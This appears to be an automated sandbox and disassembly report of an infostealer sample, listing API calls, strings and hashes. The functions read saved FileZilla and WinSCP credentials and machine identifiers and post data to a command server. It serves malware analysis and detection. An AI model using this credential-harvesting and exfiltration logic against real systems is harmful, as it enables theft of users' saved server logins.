HttpQueryInfoA.WININET(?,00000013,?,?,00000000), ref: 00405D6F
InternetReadFile.WININET(?,?,000007CF,?), ref: 00405E26
StrCmpCA.SHLWAPI(?,block), ref: 00405E3B
ExitProcess.KERNEL32 ref: 00405E46

Strings

------, xrefs: 00405B5D
------, xrefs: 004059FF
ERROR, xrefs: 00405D79
build_id, xrefs: 0040594F
--, xrefs: 00405600
", xrefs: 0040581B
", xrefs: 0040597B
60c3d71341c994ff133b7c9a96482d32, xrefs: 004059A7
ERROR, xrefs: 00405F2F
------, xrefs: 0040589D
", xrefs: 00405AD8
------, xrefs: 0040573C
file_data, xrefs: 00405C09
block, xrefs: 00405E30
------, xrefs: 00405605
", xrefs: 00405C35

Memory Dump Source

Source File: 00000009.00000002.2631638237.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.2631638237.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrlen$Internetlstrcpy$Heap$HttpProcess_memmove$AllocOpenRequestlstrcat$BinaryConnectCrackCryptExitFileInfoOptionQueryReadSendString
String ID: ------$"$"$"$"$--$------$------$------$------$60c3d71341c994ff133b7c9a96482d32$ERROR$ERROR$block$build_id$file_data
API String ID: 2638065154-4078567596
Opcode ID: b21a095099952ba1f2d03a042b9967f07248c9a102cd54ad07a96242363ad279
Instruction ID: 26f63bb4b74f1a4fe5648f2493c667f7f0a747346ed033b9145d872dd4f23224
Opcode Fuzzy Hash: b21a095099952ba1f2d03a042b9967f07248c9a102cd54ad07a96242363ad279
Instruction Fuzzy Hash: 5742E671D401699BDF21FB21DC45ADDB3B9BF04308F0085E6A548B3152DAB86FCA9F98

Function 0040E6CF Relevance: 70.3, APIs: 30, Strings: 10, Instructions: 289
stringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,004171C5,004366CD,?,?,?,?,004186D9), ref: 0041050D

Part of subcall function 00411DBC: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,?), ref: 00411DFD

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,00417733,004366DA), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,00417204,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 004105BD

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,004171E6,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,004171E6,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,004171E6,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 00410650

Part of subcall function 00410519: lstrcpyA.KERNEL32(00000000,?,?,00401D07,?,0041776B), ref: 00410538

Part of subcall function 00407FAC: CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000,00000000,?,?,?,?,0040E756,?,?,?), ref: 00407FC7
Part of subcall function 00407FAC: GetFileSizeEx.KERNEL32(00000000,?,?,?,?,?,0040E756,?,?,?), ref: 00407FDE
Part of subcall function 00407FAC: LocalAlloc.KERNEL32(00000040,?,?,?,?,?,0040E756,?,?,?), ref: 00407FF5
Part of subcall function 00407FAC: ReadFile.KERNEL32(?,00000000,?,?,00000000,?,?,?,?,0040E756,?,?,?), ref: 0040800C
Part of subcall function 00407FAC: CloseHandle.KERNEL32(?,?,?,?,?,0040E756,?,?,?), ref: 00408034

Part of subcall function 00411E1F: LocalAlloc.KERNEL32(00000040,00000001,?,?,?,00416931,?), ref: 00411E37

strtok_s.MSVCRT ref: 0040E77E
GetProcessHeap.KERNEL32(00000000,000F423F,00436912,0043690F,0043690E,0043690D), ref: 0040E7C4
HeapAlloc.KERNEL32(00000000), ref: 0040E7CB
StrStrA.SHLWAPI(00000000,<Host>), ref: 0040E7DF
lstrlenA.KERNEL32(00000000), ref: 0040E7EA
StrStrA.SHLWAPI(00000000,<Port>), ref: 0040E81E
lstrlenA.KERNEL32(00000000), ref: 0040E829
StrStrA.SHLWAPI(00000000,<User>), ref: 0040E857
lstrlenA.KERNEL32(00000000), ref: 0040E862
StrStrA.SHLWAPI(00000000,<Pass encoding="base64">), ref: 0040E890
lstrlenA.KERNEL32(00000000), ref: 0040E89B
lstrlenA.KERNEL32(?), ref: 0040E901
lstrlenA.KERNEL32(?), ref: 0040E915
lstrlenA.KERNEL32(0040ECBC), ref: 0040EA3D

Part of subcall function 00416FE1: CreateThread.KERNEL32(00000000,00000000,00416F10,?,00000000,00000000), ref: 00417080
Part of subcall function 00416FE1: WaitForSingleObject.KERNEL32(00000000,000003E8), ref: 00417088

Strings

passwords.txt, xrefs: 0040EA4D
\AppData\Roaming\FileZilla\recentservers.xml, xrefs: 0040E71F
Soft: FileZilla, xrefs: 0040E948
<Port>, xrefs: 0040E818
<Pass encoding="base64">, xrefs: 0040E88A
Login: , xrefs: 0040E98C
Password: , xrefs: 0040E9AE
Host: , xrefs: 0040E954
<Host>, xrefs: 0040E7D9
<User>, xrefs: 0040E851

Memory Dump Source

Source File: 00000009.00000002.2631638237.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.2631638237.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrlen$lstrcpy$AllocFile$CreateHeapLocallstrcat$CloseFolderHandleObjectPathProcessReadSingleSizeThreadWaitstrtok_s
String ID: <Host>$<Pass encoding="base64">$<Port>$<User>$Host: $Login: $Password: $Soft: FileZilla$\AppData\Roaming\FileZilla\recentservers.xml$passwords.txt
API String ID: 4146028692-935134978
Opcode ID: b59276d824e1683ffe4e03596256445abcb701564afa17fc3e9bc5425e7ddf62
Instruction ID: bdb0ce095fb38334b24f51a716845a6e493f74082064f25eb11227582021e93f
Opcode Fuzzy Hash: b59276d824e1683ffe4e03596256445abcb701564afa17fc3e9bc5425e7ddf62
Instruction Fuzzy Hash: 83A17572A40219BBCF01FBA1DD4AADD7775AF08305F105426F501F30A1EBB9AE498F99

Function 00406BB5 Relevance: 63.6, APIs: 20, Strings: 16, Instructions: 598
networkstringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00410519: lstrcpyA.KERNEL32(00000000,?,?,00401D07,?,0041776B), ref: 00410538

Part of subcall function 00404AB6: ??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00404AE8
Part of subcall function 00404AB6: ??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00404AEE
Part of subcall function 00404AB6: ??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00404AF4
Part of subcall function 00404AB6: lstrlenA.KERNEL32(000000FF,00000000,?), ref: 00404B06
Part of subcall function 00404AB6: InternetCrackUrlA.WININET(000000FF,00000000), ref: 00404B0E

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,004171C5,004366CD,?,?,?,?,004186D9), ref: 0041050D

InternetOpenA.WININET(?,00000001,00000000,00000000,00000000), ref: 00406C54
StrCmpCA.SHLWAPI(?), ref: 00406C72
InternetConnectA.WININET(?,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00406E0A
HttpOpenRequestA.WININET(?,?,00000000,00000000,?,00000000), ref: 00406E4E
lstrlenA.KERNEL32(?,",status,00437998,------,0043798C,",task_id,00437978,------,0043796C,",mode,00437958,------,0043794C), ref: 0040753C
lstrlenA.KERNEL32(?), ref: 0040754B
GetProcessHeap.KERNEL32(00000000,00000000), ref: 00407556
HeapAlloc.KERNEL32(00000000), ref: 0040755D
lstrlenA.KERNEL32(?), ref: 0040756A
_memmove.LIBCMT ref: 00407578
lstrlenA.KERNEL32(?), ref: 00407586
lstrlenA.KERNEL32(?,?,00000000), ref: 00407594
_memmove.LIBCMT ref: 004075A1
lstrlenA.KERNEL32(?,?,00000000), ref: 004075B6
HttpSendRequestA.WININET(00000000,?,00000000), ref: 004075C4
InternetReadFile.WININET(00000000,?,000000C7,?), ref: 00407621
InternetCloseHandle.WININET(00000000), ref: 0040762C
InternetCloseHandle.WININET(?), ref: 00407638
InternetCloseHandle.WININET(?), ref: 00407644
InternetSetOptionA.WININET(00000000,0000001F,00010300,00000004), ref: 00406E7C

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,004171E6,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,004171E6,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,004171E6,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 00410650

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,00417204,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 004105BD

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,00417733,004366DA), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

Strings

------, xrefs: 00406CFC
", xrefs: 004074DD
mode, xrefs: 004071F1
task_id, xrefs: 00407351
------, xrefs: 00406E82
------, xrefs: 004073FF
", xrefs: 00406F61
------, xrefs: 00406FE3
60c3d71341c994ff133b7c9a96482d32, xrefs: 004070ED
", xrefs: 004070C1
------, xrefs: 00407145
", xrefs: 0040721D
", xrefs: 0040737D
status, xrefs: 004074B1
build_id, xrefs: 00407095
------, xrefs: 0040729F

Memory Dump Source

Source File: 00000009.00000002.2631638237.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.2631638237.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Internetlstrlen$lstrcpy$CloseHandle$HeapHttpOpenRequest_memmovelstrcat$AllocConnectCrackFileOptionProcessReadSend
String ID: "$"$"$"$"$------$------$------$------$------$------$60c3d71341c994ff133b7c9a96482d32$build_id$mode$status$task_id
API String ID: 3702379033-901073777
Opcode ID: 7bece95f86fa8c4651a70a94fb1341b508ffb1c3752a2dd88db74e7726c5132c
Instruction ID: 0090ae1182acd75542f754b5b396311e93c8e68d741ab60ddf4244fc9b2bbf9d
Opcode Fuzzy Hash: 7bece95f86fa8c4651a70a94fb1341b508ffb1c3752a2dd88db74e7726c5132c
Instruction Fuzzy Hash: 2852897194016D9ACF61EB62CD46BCCB3B5AF04308F4184E7A51D73161DAB46FCA8FA8

Function 0040E186 Relevance: 56.3, APIs: 18, Strings: 14, Instructions: 325
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_memset.LIBCMT ref: 0040E1B7
_memset.LIBCMT ref: 0040E1D7
_memset.LIBCMT ref: 0040E1E8
_memset.LIBCMT ref: 0040E1F9
RegOpenKeyExA.KERNEL32(80000001,Software\Martin Prikryl\WinSCP 2\Configuration,00000000,00000001,?,?,?,?,?,?,?,?,?,?,?,?), ref: 0040E22D
RegGetValueA.ADVAPI32(?,Security,UseMasterPassword,00000010,00000000,?,?), ref: 0040E25E
RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 0040E276
RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 0040E29D
RegOpenKeyExA.ADVAPI32(80000001,Software\Martin Prikryl\WinSCP 2\Sessions,00000000,00000009,?,?,?,?,?,?,?,?,?,?,?,?), ref: 0040E2BD
RegEnumKeyExA.ADVAPI32(?,00000000,?,00000104,00000000,00000000,00000000,00000000), ref: 0040E2E0
RegGetValueA.ADVAPI32(?,?,HostName,00000002,00000000,?,?,Host: ,Soft: WinSCP,004368E7), ref: 0040E379
RegGetValueA.ADVAPI32(?,?,PortNumber,0000FFFF,00000000,?,?,?), ref: 0040E3D9

Strings

Login: , xrefs: 0040E459
HostName, xrefs: 0040E367
UseMasterPassword, xrefs: 0040E24E
Host: , xrefs: 0040E32A
Password, xrefs: 0040E515
passwords.txt, xrefs: 0040E662
UserName, xrefs: 0040E496
Software\Martin Prikryl\WinSCP 2\Sessions, xrefs: 0040E2B3
Software\Martin Prikryl\WinSCP 2\Configuration, xrefs: 0040E20B
:22, xrefs: 0040E42D
Password: , xrefs: 0040E529
PortNumber, xrefs: 0040E3BD
Security, xrefs: 0040E253
Soft: WinSCP, xrefs: 0040E2FE

Memory Dump Source

Source File: 00000009.00000002.2631638237.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.2631638237.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: _memset$Value$CloseOpen$Enum
String ID: Login: $:22$Host: $HostName$Password$Password: $PortNumber$Security$Soft: WinSCP$Software\Martin Prikryl\WinSCP 2\Configuration$Software\Martin Prikryl\WinSCP 2\Sessions$UseMasterPassword$UserName$passwords.txt
API String ID: 463713726-2798830873
Opcode ID: d657bcb7850f1073a35a7b93982b0c1e3fcc2cc72cc5baad8dad1431928e3997
Instruction ID: 43426b182d4f8a254889d9b3fd0899fd60441e0156ac402dc668521a0e0de3a3
Opcode Fuzzy Hash: d657bcb7850f1073a35a7b93982b0c1e3fcc2cc72cc5baad8dad1431928e3997
Instruction Fuzzy Hash: ECD1E6B191012DAADF21EB91DC42BD9B778AF04308F5018EBA508B3151DAB47FC9CFA5

Function 00405F39 Relevance: 54.7, APIs: 20, Strings: 11, Instructions: 466
networkstringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00410519: lstrcpyA.KERNEL32(00000000,?,?,00401D07,?,0041776B), ref: 00410538

Part of subcall function 00404AB6: ??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00404AE8
Part of subcall function 00404AB6: ??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00404AEE
Part of subcall function 00404AB6: ??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00404AF4
Part of subcall function 00404AB6: lstrlenA.KERNEL32(000000FF,00000000,?), ref: 00404B06
Part of subcall function 00404AB6: InternetCrackUrlA.WININET(000000FF,00000000), ref: 00404B0E

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,004171C5,004366CD,?,?,?,?,004186D9), ref: 0041050D

InternetOpenA.WININET(?,00000001,00000000,00000000,00000000), ref: 00405FD8
StrCmpCA.SHLWAPI(?), ref: 00405FF6
InternetConnectA.WININET(?,?,?,00000000,00000000,00000003,00000000,00000000), ref: 0040618E
HttpOpenRequestA.WININET(?,?,00000000,00000000,?,00000000), ref: 004061D2
lstrlenA.KERNEL32(?,",mode,004378D8,------,004378CC,60c3d71341c994ff133b7c9a96482d32,",build_id,004378B4,------,004378A8,",0043789C,------), ref: 004065FD
lstrlenA.KERNEL32(?), ref: 0040660C
GetProcessHeap.KERNEL32(00000000,00000000), ref: 00406617
HeapAlloc.KERNEL32(00000000), ref: 0040661E
lstrlenA.KERNEL32(?), ref: 0040662B
_memmove.LIBCMT ref: 00406639
lstrlenA.KERNEL32(?), ref: 00406647
lstrlenA.KERNEL32(?,?,00000000), ref: 00406655
_memmove.LIBCMT ref: 00406662
lstrlenA.KERNEL32(?,?,00000000), ref: 00406677
HttpSendRequestA.WININET(00000000,?,00000000), ref: 00406685
InternetReadFile.WININET(00000000,?,000000C7,?), ref: 004066E2
InternetCloseHandle.WININET(00000000), ref: 004066ED
InternetCloseHandle.WININET(?), ref: 004066F9
InternetCloseHandle.WININET(?), ref: 00406705
InternetSetOptionA.WININET(00000000,0000001F,00010300,00000004), ref: 00406200

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,004171E6,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,004171E6,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,004171E6,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 00410650

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,00417204,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 004105BD

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,00417733,004366DA), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

Strings

", xrefs: 004062E5
", xrefs: 004065A1
------, xrefs: 00406080
------, xrefs: 00406206
xA, xrefs: 004067D8
build_id, xrefs: 00406419
------, xrefs: 00406367
------, xrefs: 004064C9
60c3d71341c994ff133b7c9a96482d32, xrefs: 00406471
", xrefs: 00406445
mode, xrefs: 00406575

Memory Dump Source

Source File: 00000009.00000002.2631638237.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.2631638237.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Internetlstrlen$lstrcpy$CloseHandle$HeapHttpOpenRequest_memmovelstrcat$AllocConnectCrackFileOptionProcessReadSend
String ID: "$"$"$------$------$------$------$60c3d71341c994ff133b7c9a96482d32$build_id$mode$xA
API String ID: 3702379033-2912023222
Opcode ID: 4a09986c9b799567666695e332036fd2e6d1c884c013ec982f0ebe8ef4284928
Instruction ID: 03db357aed6932b07deda91b49b5c3d8747ab084d6dd0c8f0fb5a46f94a0e534
Opcode Fuzzy Hash: 4a09986c9b799567666695e332036fd2e6d1c884c013ec982f0ebe8ef4284928
Instruction Fuzzy Hash: 0122C9719401699BCF21EB62CD46BCCB7B5AF04308F4144E7A60DB3151DAB56FCA8FA8

Function 0041878D Relevance: 48.2, APIs: 32, Instructions: 154
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32 ref: 004187CE
GetProcAddress.KERNEL32 ref: 004187E5
GetProcAddress.KERNEL32 ref: 004187FC
GetProcAddress.KERNEL32 ref: 00418813
GetProcAddress.KERNEL32 ref: 0041882A
GetProcAddress.KERNEL32 ref: 00418841
GetProcAddress.KERNEL32 ref: 00418858
GetProcAddress.KERNEL32 ref: 0041886F
GetProcAddress.KERNEL32 ref: 00418886
GetProcAddress.KERNEL32 ref: 0041889D
GetProcAddress.KERNEL32 ref: 004188B4
GetProcAddress.KERNEL32 ref: 004188CB
GetProcAddress.KERNEL32 ref: 004188E2
GetProcAddress.KERNEL32 ref: 004188F9
GetProcAddress.KERNEL32 ref: 00418910
GetProcAddress.KERNEL32 ref: 00418927
GetProcAddress.KERNEL32 ref: 0041893E
GetProcAddress.KERNEL32 ref: 00418955
GetProcAddress.KERNEL32 ref: 0041896C
GetProcAddress.KERNEL32 ref: 00418983
LoadLibraryA.KERNEL32(?,0041860C), ref: 00418994
LoadLibraryA.KERNEL32(?,0041860C), ref: 004189A5
LoadLibraryA.KERNEL32(?,0041860C), ref: 004189B6
LoadLibraryA.KERNEL32(?,0041860C), ref: 004189C7
LoadLibraryA.KERNEL32(?,0041860C), ref: 004189D8
GetProcAddress.KERNEL32(75070000,0041860C), ref: 004189F4
GetProcAddress.KERNEL32(75FD0000,0041860C), ref: 00418A0F
GetProcAddress.KERNEL32 ref: 00418A26
GetProcAddress.KERNEL32(75A50000,0041860C), ref: 00418A41
GetProcAddress.KERNEL32(74E50000,0041860C), ref: 00418A5C
GetProcAddress.KERNEL32(76E80000,0041860C), ref: 00418A77
GetProcAddress.KERNEL32 ref: 00418A8E

Memory Dump Source

Source File: 00000009.00000002.2631638237.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.2631638237.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID:
API String ID: 2238633743-0
Opcode ID: ee6f8a2fccb2d3f9946019b0c38f371037af2cafaffa3ea3c9fa77732076a60f
Instruction ID: bc8b3d3a0bb5216a2661be75a40d9f4e81620d684c3abe8124060225cbc31230
Opcode Fuzzy Hash: ee6f8a2fccb2d3f9946019b0c38f371037af2cafaffa3ea3c9fa77732076a60f
Instruction Fuzzy Hash: 55710675910312AFEF1ADF60FD488243BA7F70874BF11A426E91582270EB374A64EF55

Function 00413B86 Relevance: 47.9, APIs: 2, Strings: 25, Instructions: 674
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,004171C5,004366CD,?,?,?,?,004186D9), ref: 0041050D

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,004171E6,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,004171E6,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,004171E6,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 00410650

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,00417204,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 004105BD

Part of subcall function 00410CC0: GetProcessHeap.KERNEL32(00000000,00000104,?,Version: ,004365B6,?,?,?), ref: 00410CD8
Part of subcall function 00410CC0: HeapAlloc.KERNEL32(00000000), ref: 00410CDF
Part of subcall function 00410CC0: GetLocalTime.KERNEL32(?), ref: 00410CEB
Part of subcall function 00410CC0: wsprintfA.USER32 ref: 00410D16

Part of subcall function 004115D4: _memset.LIBCMT ref: 00411607
Part of subcall function 004115D4: RegOpenKeyExA.KERNEL32(80000002,SOFTWARE\Microsoft\Cryptography,00000000,00020119,?,?,?,?), ref: 00411626
Part of subcall function 004115D4: RegQueryValueExA.KERNEL32(?,MachineGuid,00000000,00000000,?,000000FF,?,?,?), ref: 0041164B
Part of subcall function 004115D4: RegCloseKey.ADVAPI32(?,?,?,?), ref: 00411657
Part of subcall function 004115D4: CharToOemA.USER32(?,?), ref: 0041166B

Part of subcall function 00411684: GetCurrentHwProfileA.ADVAPI32(?), ref: 0041169F
Part of subcall function 00411684: _memset.LIBCMT ref: 004116CE
Part of subcall function 00411684: lstrcatA.KERNEL32(?,00000000,?,?,?,?,?), ref: 004116F6
Part of subcall function 00411684: lstrcatA.KERNEL32(?,00436ECC,?,?,?,?,?), ref: 00411713

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,00417733,004366DA), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

Part of subcall function 004109A2: GetWindowsDirectoryA.KERNEL32(?,00000104,?,?,00000000), ref: 004109D5
Part of subcall function 004109A2: GetVolumeInformationA.KERNEL32(?,00000000,00000000,?,00000000,00000000,00000000,00000000,?,?,00000000), ref: 00410A15
Part of subcall function 004109A2: GetProcessHeap.KERNEL32(00000000,00000104,?,?,00000000), ref: 00410A6A
Part of subcall function 004109A2: HeapAlloc.KERNEL32(00000000,?,?,00000000), ref: 00410A71

GetCurrentProcessId.KERNEL32(Path: ,0043687C,HWID: ,00436870,GUID: ,00436864,00000000,MachineID: ,00436854,00000000,Date: ,00436848,00436844,004379AC,Version: ,004365B6), ref: 00413DDB

Part of subcall function 0041224A: OpenProcess.KERNEL32(00000410,00000000,=A,00000000,?), ref: 0041226C
Part of subcall function 0041224A: K32GetModuleFileNameExA.KERNEL32(00000000,00000000,?,00000104), ref: 00412287
Part of subcall function 0041224A: CloseHandle.KERNEL32(00000000), ref: 0041228E

Part of subcall function 00410B30: GetProcessHeap.KERNEL32(00000000,00000104,00000000,?,?,?,00413E95,Windows: ,004368A0), ref: 00410B44
Part of subcall function 00410B30: HeapAlloc.KERNEL32(00000000,?,?,?,00413E95,Windows: ,004368A0), ref: 00410B4B

Part of subcall function 00411807: __EH_prolog3_catch_GS.LIBCMT ref: 0041180E
Part of subcall function 00411807: CoInitializeEx.OLE32(00000000,00000000,0000004C,00413EF9,Install Date: ,004368B0,00000000,Windows: ,004368A0,Work Dir: In memory,00436888), ref: 0041181F
Part of subcall function 00411807: CoInitializeSecurity.OLE32(00000000,000000FF,00000000,00000000,00000000,00000003,00000000,00000000,00000000), ref: 00411830
Part of subcall function 00411807: CoCreateInstance.OLE32(00432F00,00000000,00000001,00432E30,?), ref: 0041184A
Part of subcall function 00411807: CoSetProxyBlanket.COMBASE(?,0000000A,00000000,00000000,00000003,00000003,00000000,00000000), ref: 00411880
